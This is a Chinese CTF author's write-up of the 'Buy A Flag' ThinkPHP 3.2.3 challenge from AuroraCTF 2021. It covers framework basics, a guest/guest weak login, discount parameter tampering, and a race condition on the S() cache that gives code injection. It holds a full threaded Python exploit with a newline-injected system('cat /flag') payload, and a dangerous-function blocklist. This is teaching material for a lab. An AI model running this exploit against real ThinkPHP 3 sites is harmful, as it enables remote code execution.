[AuroraCTF 2021] Buy A Flag
本文最后更新于 35 天前,其中的信息可能已经有所发展或是发生改变。

1-1vv刚结束,给校队内部赛出题,挖不到什么东西,于是整点thinkphp3的烂活。

不会开发,三天速成,代码规范写的很垃圾,文件乱丢,大伙儿看看笑话就好了。

0x01【新手向】关于解题,你需要知道的tp3……

这部分写的比较基础,是给完全不熟悉tp3框架的人用的,老手们可以跳了。

参考官方文档手册:ThinkPHP3.2.3完全开发手册

MVC框架

tp3是一个基于MVC和面向对象的轻量级PHP开发框架,MVC即Model-View-Controll的缩写。

模板Model编写Model类,负责数据的操作;

视图View编写html文件,负责前台的页面显示;

控制器Controll编写类文件,负责后端的操作等等。

URL路由模式

tp3有几种路由模式:普通模式、PATHINFO模式、REWRITE模式、兼容模式。控制路由方式有配置文件中的参数决定,这题由于Nginx常规配置不支持PATHINFO,我使用了兼容模式。

    'URL_MODEL'             =>  3,       // URL访问模式,可选参数0、1、2、3,代表以下四种模式:
    // 0 (普通模式); 1 (PATHINFO 模式); 2 (REWRITE  模式); 3 (兼容模式)  默认为PATHINFO 模式

Application目录

Application是主要应用目录,存放几乎所有的Coding。

Application
├─Common         应用公共模块
│  ├─Common      应用公共函数目录
│  └─Conf        应用公共配置文件目录
├─Home           默认生成的Home模块
│  ├─Conf        模块配置文件目录
│  ├─Common      模块函数公共目录
│  ├─Controller  模块控制器目录
│  ├─Model       模块模型目录
│  └─View        模块视图文件目录
├─Runtime        运行时目录
│  ├─Cache       模版缓存目录
│  ├─Data        数据目录
│  ├─Logs        日志目录
│  └─Temp        缓存目录

传参方法 I()

I方法用来传参,其用法格式如下:

I('变量类型.变量名/修饰符',['默认值'],['过滤方法或正则'],['额外数据源'])

第一个参数为传参的类型例如POST或者GET等等;后面三个参数可选,二三分别是默认值以及过滤方法,后面会讲到,本质上调用了call_user_func()

缓存方法S()

设置缓存的方法有两种,F方法和S方法。例子如下:

F('data', 'phpinfo()');

F方法缓存的文件名问data.php,生成文件位于Runtime/Data,没有经过加密。

S('data', 'phpinfo()');

S方法生成的缓存文件名经过md5编码,生成文件位于Runtime/Temp/,生成文件时序列化文件内容,并会注释掉文件内容,例如当你传入了1:

<?php
//000000000000s:1"1";
?>

该生成文件的方法并不安全,注释可以使用一些特殊字符来换行绕过。

编码后的文件名也是可以被猜解的,为了避免被拆解,可以设置变量DATA_CACHE_KEY

关于tp3还有很多知识点,在这里细讲肯定是讲不完的,包括控制器、数据交互等等,有兴趣的强烈建议翻阅手册查阅。

0x02 解题思路

地址:127.0.0.1:2021

弱口令登录

Bootstarp写的前端,迅速确定功能点:购买、登录、关于、登出,其中后两个功能可以不看,而购买功能需要登录。

直接看登录点,有三个地方有提示,主页的注释页:

提示存在一个guest账户,以及VIP页,最后一个用户是guest:

还有登录时,如果用户名不存在会提示:

可以很快的确定存在guest用户,使用guest/guest就可以登录成功。

POST $discount

登录之后的购买功能,buy后提交参数折扣$discount,burp抓包设置为0即可购买,源码两处地方提示了$discount参数。

这部分的异步请求没有实现的很好,URL路由模式改成兼容模式之后就没有回显了,只能通过页面的ajax来判断提交了个$discount,然后直接怼着接口交就行了。这里也放了提示。

后台的比较由于没有对$discount进行类型转化,这里的$discount传入数组等非数字类型的变量都可以成功。

下载code

tp3代码审计

拿到代码之后就可以在本地进行调试了,我这里设置了兼容模式,在本地不好调试。

在这之前回顾一下tp3的文件目录,找到控制器(我只设置了一个控制器,很容易找到重点)。留下细节之后:

<?php

namespace Home\Controller;

use Think\Controller;

//----------------------------------
// 亲爱的同事你好。
// 当你看到这些代码的时候,意味着我已经从Aurora公司离职了。
// 意味着接下来这一坨像屎一样的项目需要你来维护了。
// 如果你尝试修改这些代码,这一定是一项错误的决定。
// 不要骂我为什么不写注释,因为代码虽然是我写的,但是我自己都看不懂,所以劝你别动!
// 千万别动!千万别动!千万别动!重要的事情说三遍!
// 这家公司每周都在996,经常加班,蓝腾还不发加班工资,偶尔007。
// 面试的时候说的那些福利都是骗人的,有时候还拖欠工资,不买社保,不要公积金。
// 还有一件很重要的事情,公司女程序员极少,所以想要解决单身问题,基本是没戏了。
// 深圳那么多公司,赶紧考虑下一家吧。
// - Oatmeal
//----------------------------------

class IndexController extends Controller
{
    public function check()
    {
        // ...数据校验代码
        rlog($return['code'], 'log');
        // ...渲染页面代码
    }

    public function state()
    {
        // ...状态校验代码
        rlog($return['code'], 'state');
    }

    public function logout()
    {
        // ...状态校验代码
        rlog(1, 'logout');
        // ...渲染页面代码
    }

    public function buy($filter=null) {
        //HTTP协议,传输json需要添加请求头
        header('Content-Type:application/json; charset=utf-8');
        $username = session('username');
        if (!$username) {
            $return['code'] = 0;
            $return['message'] = '你都没登录买你emoji呢';
            rlog($return['code'], 'buy');
            exit(json_encode($return));
        }
        $gid = 5;
        if (empty($_POST)) {
            $discount = 1;
        } else {
            if ($filter) {
                $filter = think_filter($filter)? null: $filter;
            }
            $discount = I('post.discount','',$filter);
        }
        rest();
        $return = $this->code($username, $gid, $discount);
        rlog($return['code'], 'buy');
        echo json_encode($return);
    }

    private function code($username = 'guest', $gid = 5, $discount = 1) {
        $info = M('good')
            ->WHERE('gid=' . $gid)
            ->FIELD('gprice')
            ->SELECT();
        $user = M('account')
            ->JOIN('shop_user on shop_account.id=shop_user.id')
            ->FIELD('shop_user.id, currency')
            ->WHERE("username='" . $username. "'")
            ->SELECT();
        $gprice = $info[0]['gprice'];
        $currency = $user[0]['currency'];
        if ($gprice * $discount > $currency) {
            $return['code'] = 0;
            $return['message'] = '没钱你买你emoji';
        } else {
            $return['code'] = 1;
            $return['message'] = '购买成功,这是CODE的地址:this_is_Code_and_Have_a_g00d_t1me.zip,祝您旅途愉快。';
            $data['currency'] = $user['currency'] - $info['gprice'] * $discount;
            M('account')->filter('strip_tags')->WHERE('id' . $user[0]['id'])->save($data);
        };
        return $return;
    }

}

可以看到在执行完state、log、logout、buy操作之后,控制器会调用一个函数rlog()来操作传入的两个参数。跟进一下,在/Application/Common/Common/function.php:

/**
 * 记录操作日志 支持不同事件
 * @param string $event 事件名称
 * @param string $code 传入的参数,记录事件成功与否
 * @return void
 */

function rlog($code=0, $event='')
{
    $log = time();
    if ($event == 'log') { // 登录日志
        S($log, 'log' . $code,1);
    } else if ($event == 'logout') { // 登出日志
        S($log, 'logout' . $code,1);
    } else if ($event == 'buy') { // 购买日志
        S($log, 'buy' . $code,1);
    } else if ($event == 'state') { // 状态日志
        S($log, 'state' . $code,1);
    } else { //临时日志
        S($log, 'temp' . $code,1);
    }rest();rest();
    unlink('Application/Runtime/Temp/' . md5($log) . '.php');
}

这函数看着有模有样,认真看或者Compare一下就知道其实是出题人自己加上去的函数。功能是通过S方法来缓存数据,生成缓存文件。

首先获得当前时间戳:

$log = time();

写缓存文件,如果传入的参数为['log', 'logout', 'state', 'buy']事件,将事件名和成功与否的状态码$code写入文件,文件名为当前时间戳的md5加密。生成缓存文件后调用两次rest();

rest();rest();

rest()本质上是sleep(1)

// 休息函数
function rest() {
    sleep(1);
}

也就是说这里会等两秒,之后删除文件。

    unlink('Application/Runtime/Temp/' . md5($log) . '.php');

这种写法很熟悉有没有,很容易想到是条件竞争,rest()是用来缓冲网络延时造成的干扰。

回头看rlog()函数,传入两个参数$code以及$event,其中$code会通过字符串拼接写入文件,那么要做的就是找到$code参数可控点。

万能的call_user_func

刚才在上面说了,I方法的第三个参数过滤函数的调用实际上通过了call_user_func()。或者我们跟踪function.php中的call_user_func(),找到函数,或者直接开Compare比较一下都行,这里的代码不同很明显了。

我们跟进一下I方法:

I方法在循环体内调用了函数array_map_recursive

而我们接着找,控制器中获取$discount变量时调用了I方法,并且传入的第三个参数$filter,而第三个参数可控。

这里的$filter经过过滤确保传入的参数没有危险函数,但是没有过滤rlog,这里的过滤可能能绕,我没有仔细研究,直接抄了别人的过滤。

function think_filter(&$value){
    // TODO 其他安全过滤
    $pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";

    $pattern .= "|file_put_contents|fwrite|curl|system|eval|assert";

    $pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";

    $pattern .="|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";

    $vpattern = explode("|",$pattern);

    foreach ($vpattern as $v) {
        if (preg_match("/$value/i", $v)) {
            return true;
        }
    }

    // 过滤查询特殊字符
    if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
        return true;
//        $value .= ' ';
    } else {
        return false;
    }
}

如果我们调用buy()方法,传入了$filter参数为rlog,在获取$_POST['discount']变量时调用了I方法,传入的变量实际上是 call_user_func('rlog', $discount),而$discount可控,在rlog方法中,$event默认为空(如果不为空缺省,实际上在PHP5中缺省函数也能调用,只不过会发生报错),传入的$discount与文件内容拼接,完成注入。

POST方法如下(需要先登录):

POST /index.php?s=/home/index/buy HTTP/1.1
Cookie: PHPSESSID=d33e9d6b455405efc0037fbeb11f1541

filter=rlog&discount=xxxxxxxx

调用函数后生成缓存文件并在两秒后删除,接着跳出函数,回到控制器buy,再一次调用rlog()记录事件buy,所以这里调用了两次rlog(),中间有一次rest()

所以完整的触发链子:

rlog($discount, ''); // 两次延时rest();rest();
rest(); // 两次rlog调用间延时
rlog($return['code'], ''buy); //两次延时rest();rest();

这里调用时间极久,一次调用延时五秒,这也是为什么这道题每次操作需要等很久的原因,再差的网络也可以条件竞争了。

绕过Tp3缓存注释

这部分POC也比较多了,网上找一找就有了,大概是用%0a或者%0d注入文件内容,重写一行,参见链接:

ThinkPhp3.2.3缓存漏洞复现以及修复建议

EXP

循环POST提交discount,注意这里需要用unquote()即url编码解码一次。

def cache():
    while 1:
        url = "http://47.75.138.18/index.php?s=/home/index/buy"
        discount = unquote('%0dsystem("cat /flag")//', 'utf-8')
        payload = {'discount': discount, 'filter': 'rlog'}
        headers = {'Cookie': 'PHPSESSID=2846ee569600018f0cf748bf66edd8dc'}
        response = requests.request("POST", url, headers=headers, data=payload)
        # print(response.text)

同时GET请求缓存文件名,通过获取当前时间的整型值md5加密,如果返回关键字则写入文件终止循环

def get():
    while 1:
        t = str(int(time.time()))
        hl = hashlib.md5()
        hl.update(t.encode(encoding='utf-8'))
        url = "http://47.75.138.18/Application/Runtime/Temp/" + hl.hexdigest() + '.php'
        response = requests.get(url=url)
        if response.text.find('Aurora') != -1:
            print(response.text)
            f = open("flag.txt", "w")
            f.write(response.text)
            break

最终EXP:

import requests
from urllib.parse import unquote
import time
import hashlib
import threading


def login():
    while 1:
        url = "http://47.75.138.18/index.php?s=/home/index/check.html"
        payload = {'username': 'guest', 'password': 'guest'}
        headers = {'Cookie': 'PHPSESSID=2846ee569600018f0cf748bf66edd8dc'}
        response = requests.request("POST", url, headers=headers, data=payload)
        if response.text.find("成功") != -1:
            print("login success!\n")
            print("-------------\n")
            break
        else:
            print("login failed!\n")
            print("-------------\n")


def cache():
    while 1:
        url = "http://47.75.138.18/index.php?s=/home/index/buy"
        discount = unquote('%0dsystem("cat /flag")//', 'utf-8')
        payload = {'discount': discount, 'filter': 'rlog'}
        headers = {'Cookie': 'PHPSESSID=2846ee569600018f0cf748bf66edd8dc'}
        response = requests.request("POST", url, headers=headers, data=payload)
        # print(response.text)


def get():
    while 1:
        t = str(int(time.time()))
        hl = hashlib.md5()
        hl.update(t.encode(encoding='utf-8'))
        url = "http://47.75.138.18/Application/Runtime/Temp/" + hl.hexdigest() + '.php'
        response = requests.get(url=url)
        if response.text.find('Aurora') != -1:
            print(response.text)
            f = open("flag.txt", "w")
            f.write(response.text)
            break


if __name__ == "__main__":
    login()
    threads = [threading.Thread(target=cache), threading.Thread(target=get)]
    for thread in threads:
        thread.start()

0x03 关于docker

docker写了一天,太折磨了,经历了从Windows到Linux下的迁移,歇逼。

参考了这篇文章:如何正确使用Docker出一道CTF题目

某镜像

base_image_nginx_mysql_php_56

专门为CTFer用的镜像,方便的地方是不需要自己写Nginx所有配置,当然不方便的是如果你需要对Nginx配置修改比较麻烦,自动配环境LNMP,也有PHP7版的。

自动导入db.sql,flag.sh,拉取文件等等。

看一下这个镜像的内容

FROM php:5.6-fpm-alpine

LABEL Organization="CTFTraining" Author="Virink <virink@outlook.com>"
MAINTAINER Virink@CTFTraining <virink@outlook.com>

COPY _files /tmp/
COPY src /var/www/html

RUN sed -i 's/dl-cdn.alpinelinux.org/mirrors.ustc.edu.cn/g' /etc/apk/repositories \
    && apk add --update --no-cache tar nginx mysql mysql-client \
    && mkdir /run/nginx \
    # mysql ext
    && docker-php-source extract \
    && docker-php-ext-install mysql mysqli pdo_mysql \
    && docker-php-source delete \
    # init mysql
    && mysql_install_db --user=mysql --datadir=/var/lib/mysql \
    && sh -c 'mysqld_safe &' \
    && sleep 5s \
    && mysqladmin -uroot password 'root' \
    && mysql -e "source /var/www/html/db.sql;" -uroot -proot \
    # configure file
    && mv /tmp/flag.sh /flag.sh \
    && mv /tmp/docker-php-entrypoint /usr/local/bin/docker-php-entrypoint \
    && chmod +x /usr/local/bin/docker-php-entrypoint \
    && mv /tmp/nginx.conf /etc/nginx/nginx.conf \
    && chown -R www-data:www-data /var/www/html \
    # clear
    && rm -rf /var/www/html/db.sql \
    && rm -rf /tmp/*

WORKDIR /var/www/html

EXPOSE 80

VOLUME ["/var/log/nginx"]

CMD ["/bin/bash", "-c", "docker-php-entrypoint"]

中间进行了换源、设置SQL并初始化密码为root、导入数据库、导入Nginx配置等等操作,多的分析就不写了,自己看吧,在这个镜像下,只要这样写:

FROM ctftraining/base_image_nginx_mysql_php_56

LABEL Author="Oatmeal"
LABEL Blog="https://oatmeal.vip"

COPY src /var/www/html

RUN mv /var/www/html/flag.sh / \
    && chmod +x /flag.sh \
    && mv /var/www/html/flag /flag \
    && chmod +x /flag \
    && rm -rf /var/www/html/flag \
    && chmod -R 777 /var/www/html/Application/Runtime \

导入这道题目要用到的flag以及flag.sh,最后删除就行。其中要给缓存文件加777权限,不然会发生tp3读写文件错误。

由于常规Nginx不支持PATHINFO模式,需要修改默认的路由方式,或者直接修改Nginx配置文件。我尝试了一下修改配置文件,导致自己的WEB无法访问,所以最后还是改了路由配置,坏处就是在Windows的PHPStudy模式下不能正常请求前端文件了,可能是因为他本质还是在请求入口文件而不是控制器控制的前端文件,后期调试起来比较蛋疼就是了。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇